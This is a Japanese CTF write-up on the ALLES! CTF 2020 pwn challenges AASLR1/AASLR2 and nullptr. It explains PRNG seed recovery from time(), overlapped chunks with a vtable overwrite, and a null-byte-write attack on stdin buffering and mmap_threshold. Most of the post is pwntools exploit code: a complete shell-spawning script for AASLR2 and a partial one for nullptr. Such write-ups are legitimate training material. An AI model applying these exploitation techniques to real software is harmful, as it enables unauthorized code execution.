【pwn 35.0】ALLES! CTF 2020 - AASLR1 / AASLR2 / nullptr

keywords

customized ASLR / customized memory system / guess the seed / arbitrary NULL-byte write / overwrite mmap_threshold / adjucent mmaped region and libc-symbols

1: イントロ
2: まず全体の感想
3: AASLR1/ AASLR2
4. nullptr
5: アウトロ

1: イントロ

いつぞや行われた ALLES! CTF 2020

最近CTFをしていなかったのですが、チームTSGとして参加して、結果は振るわず22位でした

pwn問をもう1個解き切っていれば5~7位分くらい上昇したので、実力不足です

本エントリではpwn問の AASLR1 / AASLR2 / nullptr の復習(writeupでは若干無いです、完全に解ききっていないやつが有るので)をしたいと思います

2: まず全体の感想

InterKosen CTFとの並行開催ということもあり、最初はALLES!の方とInterKosenの方をウロウロ行ったり来たりしていました。夜になるとチームの人たちがmeetに集まってきたので、本腰を入れてALLESのpwn問を解くことにしました。Cryptoとの合同問題があり、Cryptoパートを解いてもらっている間に長いお散歩をしました。Pwn問題にまで落とし込んでもらった後、その日は AASLR2 を解きました。解き終わるとmeetを抜けて寝ました。起きると、全くやる気がなくなっていたので、最近買ったギドラ本を読んでいました。最終日の深夜になると、チームの人から nullptr を解きませんかと誘っていただいたので、meetに集まって終了時間(AM4:00)まで問題を解いていました。結構いい線まで言っていたので、解ききることができずに悔しかったです。

CTFは問題面もその他の面もかなり良かったと思います。

3: AASLR1/ AASLR2

問題概要

Author: liveoverflowの文字を見て、何故か笑顔になってしまいました

liveoverflowさんのYoutube動画は偶に見るので、芸能人に会った気分になりました

AASLR1はRev/Crypto問題、AASLR2はPwn問題でした

問題セットは両者ともに同じであり、前者は特定の条件を満たすとプログラム中の正規のロジックとして1つ目のFlagが得られ、後者は正規のロジックから外れてFlagを奪取します

ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1caebb4c4c5b9bb141671f3721daaabd26f49312, for GNU/Linux 3.2.0, not stripped
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

オレオレmalloc問題です

最初に mmap() で取得した領域から aslr_malloc() でユーザ用に領域を確保してくるのですが、この際に乱数生成器から得た乱数をもとにして確保するアドレスを決定します

この乱数生成器のシードはプログラムの最初に呼んだ time() の値だけです

また、確保した領域を管理する機構がないため、生成された乱数の値によっては overlapped chunk が作られることになります

乱数生成器の掌握

さて、まずはこの乱数生成器が次に吐く乱数を予測できないことには始まりません

プログラム中には、dice() という関数によって生成される乱数のmod6 の値のみを任意に取得することができます

僕は数学が小学2年生の計算くらいしかできないので、他の人に任せていました。mod6のみで乱数生成器を掌握するのは難しいようで一旦詰まりましたが、time()を使っているのだから接続した時間の前後数秒をそれぞれシードにした乱数生成器をこちら側で用意し、dice() を振ってどの生成器の出力と一致するかを調べることで乱数生成器の状態を掌握することができました

pwn

乱数生成器の状態を掌握することで、aslr_malloc() によって確保されるchunkのアドレスが予測できるようになりました。このアドレスは前述したように数百回のmallocによって重複する可能性があります。そのため、手持ちの乱数生成器で何回目のaslr_malloc() によって衝突が起こるかを計算し、その分だけdice() を振ってやることで乱数調整をします

overlapped chunkを作ったら、ユーザデータのポインタを確保する配列が有るのでそれを良しなにいじりながら、ヒープ中に有るvtableをよしなにいじると、よしなになります

exploit

本exploitは @JP3BGY と作りました

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
from time import time
import sys
import socket,ssl

FILENAME = "./aaslr"
LIBCNAME = ""

hosts = ("7b00000009836e5ea6bc9e72.challenges.broker4.allesctf.net","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

realstate = None
ftable_off = None
entry_off = None

def hoge(ix):
  global c
  c.recvuntil("Item:\n")
  c.sendline(str(ix))

def td():
  global c
  hoge(1)
  c.recvuntil("Threw dice: ")
  return int(c.recvline().rstrip())

def _create(data):
  global c
  hoge(2)
  c.recvuntil("100):\n")
  c.send(data)

def _create_state_change(data):
  global realstate
  _create(data)
  realstate = prng(realstate)[1]

def _create_state_change_get_rand(data):
  global realstate
  _create(data)
  val, realstate = prng(realstate)
  return val


def _view(ix):
  global c
  hoge(3)
  c.recvuntil("):\n")
  c.sendline(str(ix))
  c.recvuntil(". ")
  return c.recvline().rstrip()

def _guess():
  global c
  raw_input("NOT IMPLEMENTED")

def prng(state):
    mask=(1<<64)-1
    a,b,c,d=state
    tmp1=a-((b>>5)|((b<<0x1b)&mask))
    tmp1&=mask
    a=b^((c>>0xf)|((c<<0x11)&mask))
    a&=mask
    tmp2=a+tmp1
    tmp2&=mask
    b=c+d
    b&=mask
    c=d+tmp1
    c&=mask
    d=tmp2
    return (tmp2,(a,b,c,d))

def get_malloc_offset(size):
    global realstate
    val, realstate = prng(realstate)
    return val % (0x10000 - size)

def dice(state):
    x,y=prng(state)
    return (x%6+1,y)

def guess_dice(nums):
  hoge(4)
  for i in range(0xf):
    c.recvline()
    c.sendline(str(nums[i]))

def send_many_dices(num):
  if num==0:
    return
  c.recvuntil("Item:\n")
  c.send("1\n"*num)

# 次にお望みのaddr-size~addrを吐くようになるまでdiceを振る
def set_recquestedd_state(req, size, aligend=None):
  global realstate
  global c
  counter = 0
  while True:
    val, realstate = prng(realstate)
    val = val%(0x10000-100)
    if aligend==None or (aligend!=None and val%8==aligend):
        if req-size<= val <=req:
          print("[+] FOUND({}): {}".format(hex(counter), hex(val)))
          print("[+] updating state...")
          '''
          for i in range(counter):
            if i%0x30==0:
                print("   {}".format(hex(i)))
            td()
          '''
          for i in range(counter//0x100):
            print("  sending... : {}".format(hex((i+1)*0x100)))
            send_many_dices(0x100)
          send_many_dices(counter%0x100)
          return val
    counter += 1


## exploit ###########################################

def exploit():
  global c
  global realstate
  global ftable_off
  global entry_off
  cons = 0xf1ea5eed

  nowtime=int(time())
  states = [ (cons,nowtime+i,nowtime+i,nowtime+i)for i in range(-30,31)]
  vptrs = []
  entrys = []
  for i in range(0x16):
    newstates=[]
    for j in states:
        x,y= prng(j)
        newstates.append(y)
        if i==0x14:
          vptrs.append(x)
        elif i==0x15:
          entrys.append(x)
    states=newstates

  while len(states)>1:
    newstates=[]
    newrnds=[]
    newentrys=[]
    x = td()
    for j in range(len(states)):
      i = states[j]
      xx,y=dice(i)
      if xx==x:
        newstates.append(y)
        newrnds.append(vptrs[j])
        newentrys.append(entrys[j])

    states=newstates
    vptrs = newrnds
    entrys = newentrys

  assert(len(states)==1)
  assert(len(vptrs)==1)
  assert(len(entrys)==1)
  realstate = states[0]

  # AASLR1 ####
  guessed = []
  for i in range(0xf):
    x,realstate = prng(realstate)
    x = x%6+1
    guessed += [x]
  guess_dice(guessed)


  # AASLR2 ####
  ftable_off = vptrs[0] % (0x10000 - 0x8)
  entry_off = entrys[0] % (0x10000 - 0x7f8)
  print("[+] ftable_off: {}".format(hex(ftable_off)))
  print("[+] entry_off: {}".format(hex(entry_off)))

  # create dummys
  _create_state_change("A"*0x50+"\n")
  _create_state_change("B"*0x50+"\n")
  _create_state_change("C"*0x50+"\n")

  #
  target_off = entry_off+8*4
  hoge_off = target_off+0x40 - set_recquestedd_state(target_off+0x40, 0x40, aligend=entry_off%8)
  print("[+] target: {}".format(hex(target_off)))
  print("[+] hoge_off: {}".format(hex(hoge_off)))
  _create("X"*0x50 + "\n")
  c.recvuntil("at index ")
  tmpix = int(c.recvline().rstrip())

  fuck = []
  for i in range(0x20):
    fuck.append(_create_state_change_get_rand("Y"*8 + "\n") % (0x10000-100))
  vmaddr1 = unpack(_view(tmpix).ljust(8,b'\x00'))
  print("[+] get: {}".format(hex(vmaddr1)))
  print("[+] fuck: {}".format(hex(fuck[0])))

  # 諦め
  for i in range(len(fuck)):
    print("[+] fuck: {}".format(hex(fuck[i])))
    if (vmaddr1 - fuck[i])%0x100 == 0:
      mmbase = vmaddr1 - fuck[i]
      break
  print("[+] HEAP: {}".format(hex(mmbase)))
  print("[*] ftable: {}".format(hex(ftable_off + mmbase)))
  print("[*] ENTRY: {}".format(hex(entry_off + mmbase)))


  # ftableを読みに行く(textbase leak)
  target_off = entry_off
  hoge_off = target_off - set_recquestedd_state(target_off, 84)
  print("")
  print("[+] target: {}".format(hex(target_off)))
  print("[+] hoge_off: {}".format(hex(hoge_off)))
  _create(b"A"*hoge_off + p64(ftable_off + mmbase)*((100-hoge_off)//8-1) + b"\n")
  c.recvuntil("at index ")
  tmpix = int(c.recvline().rstrip())

  throw_dice_addr = unpack(_view(0).ljust(8,b'\x00'))
  print("[+] throw_dice(): {}".format(hex(throw_dice_addr)))
  textbase = throw_dice_addr - 0x1584
  print("[+] textbase: {}".format(hex(textbase)))

  # overwrite ftable into system
  target_off = ftable_off
  hoge_off = target_off - set_recquestedd_state(target_off, 84-0x10)
  print("")
  print("[+] target: {}".format(hex(target_off)))
  print("[+] hoge_off: {}".format(hex(hoge_off)))
  #_create(b"A"*hoge_off + p64(textbase + 0x1905)*((100-hoge_off)//8-1) + b"\n")
  _create(b"A"*hoge_off + p64(textbase+0x1905)*4 + p64(textbase+0x1afc) + b"\n")
  c.recvuntil("at index ")
  tmpix = int(c.recvline().rstrip())
  
  # jmp to system via error_case() function's entry
  c.recvuntil("Item:\n")
  print("[!] invoking shell...")
  c.sendline("/bin/sh")

  #c.sendline("cat ./flag1")


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        context.verify_mode = ssl.CERT_REQUIRED
        context.check_hostname = True
        context.load_default_certs()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
        ssl_sock.connect((rhp1["host"],rhp1["port"]))
        c = remote.fromsocket(ssl_sock)
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

結果

f:id:smallkirby:20200907152006p:plain — ぬお

4. nullptr

問題概要

PartialRELROです

ちょっと弄ってあげるだけ、AAR になります

ただし、その後できることは「任意のアドレスの8byteをヌルクリアする」ことだけです

思考の道筋

本問題は @moratorium08 と一緒に解こうとしたため以下のアイディアやexploitにはモラさんのものが含まれてます

問題文にWelcome to the House Of I'm pretty sure this is not even a heap challenge(試訳: House of これはヒープ問ですら無いよにようこそ) とあったので、heap問だと検討をつけて考えました

まず、mainループの間に実行されるのが scanf()/ printf()/ NULLクリア だけなので、ヌルクリアするべき対象は自然とstdin/stdout関係であると推察できます

scanf() はバッファリングのためにヒープ上のバッファを使います。このバッファのアドレスはstdin->__IO_buf_base に入っているのですが、この値がヌルクリアされた場合バッファが確保されていないと考えられて、malloc()を行います。よって、top のサイズを事前に小さくしてあげることで、次のscanf時にtop を拡張させることができます。更に、main_arena->top を部分的にNULLクリアしてあげることで 1/2048 の確率で次のtopがGOT領域と重なるところに確保されます。

scanf() の入力として任意の値を入力してやることで、勿論scanf自体はエラーを返しますが、バッファリングはちゃんとされるため、その領域に対して任意の入力をすることができるようになると考えました。尚、この手法はバッファリングに使うバッファのサイズ設定に環境依存し、0x1000未満だと成功します。

本番中はこの考えに懸けて、ローカルでシェルが取れましたが、リモートでとることは無理だろうということで、結局解ききることはできませんでした。

【追記 20200908】

全く同じ方法でpwnできてる人がいたみたい

pwn-diaries.com

どうやら想定解っぽいもの

基本的には上に述べたことと同じアイディアですが、GOTではなく__malloc_hookを書き換えます。そのためには新しいstdinバッファがlibc symbolsよりも高位にきていなければならないため、mmap() でバッファを取得する必要があります。これは、mp_->mmap_threshold を予めヌルクリアしてから上述のようにmalloc()を呼ぶことで達成できます。あとは、確保した領域から__malloc_hookまでの間に有るデータの内破壊してはいけないものを正規の値で上書きしながら、__malloc_hookを書き換えるだけです。

但し、なんか環境依存っぽい要素が複数有るっぽぃ(自分の無知かもしれない)のと、昨日深夜4:00まで同じ問題を解いていたということの疲れもあり、まだPoCは完成していません。殆どやることはないですが、あとで完全なPoCを貼っておきます。

exploit: 途中まで

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import socket,ssl
import time

FILENAME = "./nullptr"
LIBCNAME = ""

hosts = ("7b0000000158d462b15a9bee.challenges.broker3.allesctf.net","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ix):
  global c
  c.recvuntil("> \n",timeout=1)
  c.sendline(str(ix))

'''
abc=0
def v(addr):
  global abc
  hoge(1)
  c.recvline()
  if addr==None:
    c.sendline("*")
  else:
    c.sendline(str(addr))
  if abc==3:
      c.interactive()
  _addr, val = c.recvline().rstrip().split(b": ")
  abc += 1
  return (int(_addr,16), int(val,16))
'''
def v(addr):
  hoge(1)
  c.recvuntil("\n",timeout=1)
  if addr==None:
    c.sendline("*")
  else:
    c.sendline(str(addr))
  tmp = c.recvline().rstrip().split(b": ") # なんで時々落ちるねん
  print(tmp)
  _addr, val = (tmp[0],tmp[1])
  return (int(_addr,16), int(val,16))

def n(addr):
  hoge(2)
  print("[+] NULLing OUT")
  c.recvline(timeout=0.1)
  c.sendline(str(addr))

def p(num):
  addr = num[0]
  val = num[1]
  print("[*] {}: {}".format(hex(addr), hex(val)))
  return addr, val


## exploit ###########################################

def _exploit():
  global c

  # leak each bases
  a1, v1 = p(v(None)) # first leaked stack addr
  a2, v2 = p(v(a1 - 0xd8)) # leak libc_start_main
  libcbase = v2 - 0x271e3
  mainstack_bottom = a1 - 0xe0 # main frame内の退避されたBPが置いてある場所
  a3, v3 = p(v(mainstack_bottom + 0x5*8)) # leak textbase
  main_addr = v3
  textbase = main_addr - 0x1bd
  print("[+] libcbase: {}".format(hex(libcbase)))
  print("[+] main stack bottom: {}".format(hex(mainstack_bottom)))
  print("[+] main: {}".format(hex(main_addr)))
  print("[+] textbase: {}".format(hex(textbase)))

  stdin_addr = libcbase + 0x1ea980
  stdout_addr = libcbase + 0x1eb6a0
  heap_base = p(v(stdin_addr + 8))[1] - 0x12a0 # ??? remoteでは違うかも(buf sizeが)
  print("[+] heap: {}".format(hex(heap_base)))
  raw_input("OK")

  # NULL clear mp_->mmap_threshold
  mp__addr = libcbase + 0x1ea280
  n(mp__addr + 0x10)

  # smallen old top's size
  oldtop = heap_base + 0x22b0
  n(oldtop + 9)

  raw_input("OK")

  # NULL clear stdin->__IO_buf_base and mmap
  n(stdin_addr + 7*8)
  c.interactive()
  leaked = p(v(stdin_addr + 8))[1]
  '''
  The bottom libc area is the target (in this case, fail)
    0x7fa216ac1000     0x7fa2168bd000 r-xp   1b1000 0      /glibc/2.30/64/lib/libc-2.30.so
    0x7fa2168bd000     0x7fa216abd000 ---p   200000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
    0x7fa216abd000     0x7fa216ac1000 r--p     4000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
    0x7fa216ac1000     0x7fa216ac3000 rw-p     2000 1b5000 /glibc/2.30/64/lib/libc-2.30.so
    0x7fa216ac3000     0x7fa216ac7000 rw-p     4000 0
  '''
  target = libcbase + 0x3b5000
  print("[+] target: {}".format(hex(target)))
  print("[+]       : {}".format(hex(leaked & 0xFFFFFFFF0000)))
  if leaked & 0xFFFFFFFF0000 != target:
    hoge(-1)
    print("[-] RETRY...\n")
    return False

  '''
  '''



def exploit():
  ret = False
  try:
    ret = _exploit()
  except ssl.SSLError:
    print("FUCK")
  return ret



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        context.verify_mode = ssl.CERT_REQUIRED
        context.check_hostname = True
        context.load_default_certs()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
        ssl_sock.connect((rhp1["host"],rhp1["port"]))
        c = remote.fromsocket(ssl_sock)
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])

    fail = True
    while fail:
      if exploit() == False:
        c.close()
        sleep(0.5)
        if len(sys.argv)>1:
          if sys.argv[1][0]=="d":
            cmd = """
              set follow-fork-mode parent
            """
            c = gdb.debug(FILENAME,cmd)
          elif sys.argv[1][0]=="r":
            context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
            context.verify_mode = ssl.CERT_REQUIRED
            context.check_hostname = True
            context.load_default_certs()
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
            ssl_sock.connect((rhp1["host"],rhp1["port"]))
            c = remote.fromsocket(ssl_sock)
          elif sys.argv[1][0]=="v":
            c = remote(rhp3["host"],rhp3["port"])
        else:
            c = remote(rhp2['host'],rhp2['port'])

    c.interactive()